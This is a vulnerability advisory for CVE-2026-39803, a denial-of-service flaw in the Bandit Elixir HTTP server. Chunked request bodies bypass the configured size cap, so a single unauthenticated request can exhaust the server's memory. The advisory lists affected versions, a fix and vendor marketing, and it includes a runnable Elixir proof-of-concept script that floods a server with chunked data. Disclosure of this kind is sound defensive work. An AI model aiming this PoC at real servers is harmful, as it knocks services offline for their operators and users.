Summary
Bandit: Unauthenticated one-shot DoS via Transfer-Encoding: chunked
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...}, never {:more, ...}, so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route, any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained, boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The `length` option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere, i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-39803 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.11.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-39803? CVE-2026-39803 is a high-severity allocation of resources without limits or throttling vulnerability in bandit (erlang), affecting versions >= 1.4.0, < 1.11.1. It is fixed in 1.11.1. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-39803? CVE-2026-39803 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of bandit are affected by CVE-2026-39803? bandit (erlang) versions >= 1.4.0, < 1.11.1 is affected.
- Is there a fix for CVE-2026-39803? Yes. CVE-2026-39803 is fixed in 1.11.1. Upgrade to this version or later.
- Is CVE-2026-39803 exploitable, and should I be worried? Whether CVE-2026-39803 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-39803 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-39803? Upgrade
banditto 1.11.1 or later.